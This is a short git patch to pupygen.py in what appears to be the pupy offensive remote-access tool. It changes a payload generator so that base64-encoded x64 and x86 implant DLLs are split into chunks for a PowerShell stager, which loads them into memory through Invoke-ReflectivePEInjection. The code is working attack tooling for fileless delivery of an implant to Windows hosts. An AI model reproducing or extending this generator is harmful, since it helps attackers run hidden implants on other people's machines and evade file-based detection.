From d806ba61be43012f0b208f48271ca2748b55c749 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sun, 23 Apr 2017 20:07:25 +0200 Subject: [PATCH] use dlls for ps1 --- pupy/pupygen.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pupy/pupygen.py b/pupy/pupygen.py index e595ef34..82bc4f15 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -518,8 +518,8 @@ def pupygen(args, config): }} Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll, {3}=x64dll - binaryX64 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x64')[0]) - binaryX86 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x86')[0]) + binaryX64 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x64', shared=True)[0]) + binaryX86 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x86', shared=True)[0]) binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)] binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)] for i,aPart in enumerate(binaryX86parts):